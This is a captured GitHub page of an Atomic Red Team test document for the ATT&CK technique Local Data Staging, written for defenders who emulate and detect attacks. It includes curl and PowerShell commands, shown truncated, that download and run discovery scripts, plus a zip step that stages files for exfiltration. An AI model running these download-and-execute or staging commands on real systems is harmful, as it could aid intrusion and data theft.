

Product ▾


Solutions ▾

Resources ▾

Open Source ▾


Enterprise ▾


Pricing





Sign in

Sign up


 redcanaryco / atomic-red-team Public


 Notifications


 Fork 2.8k


 Star 9.7k


<> Code


 Issues 6


 Pull requests 5


 Actions


 Wiki


 Security


 Insights


 Files


 f339e7d





 Go to file


>  .github


>  atomic_red_team


>  atomics


>  Indexes


>  T1003.001


>  T1003.002


>  T1003.003


>  T1003.004


>  T1003.005


>  T1003.006


>  T1003.007


>  T1003.008


>  T1003


>  T1006


>  T1007


>  T1010


>  T1012


>  T1014


>  T1016


>  T1018


>  T1020


>  T1021.001


>  T1021.002


>  T1021.003


>  T1021.006


>  T1027.001


>  T1027.002


>  T1027.004


>  T1027


>  T1030


>  T1033


>  T1036.003



>  T1036.004

>  T1036.005

>  T1036.006

>  T1036

atomic-red-team / atomics / T1074.001 / T1074.001.md 

 Atomic Red Team doc generat... Generated docs from job=generate-d... 819934c · 2 years ago  History


Preview


Code


Blame

125 lines (61 loc) · 3.6 KB

Raw







T1074.001 - Local Data Staging

Description from ATT&CK

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data] (<https://attack.mitre.org/techniques/T1560>). Interactive command shells may be used, and common functionality within [cmd] (<https://attack.mitre.org/software/S0106>) and bash may be used to copy data into a staging location. Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry. (Citation: Prevailion DarkWatchman 2021)

Atomic Tests

- [Atomic Test #1 - Stage data from Discovery.bat](#)
- [Atomic Test #2 - Stage data from Discovery.sh](#)
- [Atomic Test #3 - Zip a Folder with PowerShell for Staging in Temp](#)

Atomic Test #1 - Stage data from Discovery.bat

Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory.

Supported Platforms: Windows

auto_generated_guid: 107706a5-6f9f-451a-adae-bab8c667829f







Inputs:

Name	Description	Type	Default Value
output_file	Location to save downloaded discovery.bat file	Path	\$env:TEMP\discovery.bat

Attack Commands: Run with **powershell** !

```
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-
```

Page 1 of 3

- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

Cleanup Commands:

```
Remove-Item -Force #{output_file} -ErrorAction Ignore
```

Atomic Test #2 - Stage data from Discovery.sh

Utilize curl to download discovery.sh and execute a basic information gathering shell script

Supported Platforms: Linux, macOS

auto_generated_guid: 39ce0303-ae16-4b9e-bb5b-4f53e8262066

Inputs:

Name	Description	Type	Default Value
output_file	Location to save downloaded discovery.bat file	Path	/tmp/T1074.001_discovery.log

Attack Commands: Run with **bash**!

```
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/ma
```

Atomic Test #3 - Zip a Folder with PowerShell for Staging in Temp

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip was placed in the temp directory.

Supported Platforms: Windows

auto_generated_guid: a57fbe4b-3440-452a-88a7-943531ac872a

Inputs:

Name	Description	Type	Default Value
output_file	Location to save zipped file or folder	Path	\$env:TEMP\Folder_to_zip.zip
input_file	Location of file or folder to zip	Path	PathToAtomicsFolder\T1074.001\bin\Folder_to_zip

Attack Commands: Run with **powershell**!

```
Compress-Archive -Path #{input_file} -DestinationPath #{output_file} -Fo
```

Cleanup Commands:

```
Remove-Item -Path #{output_file} -ErrorAction Ignore
```

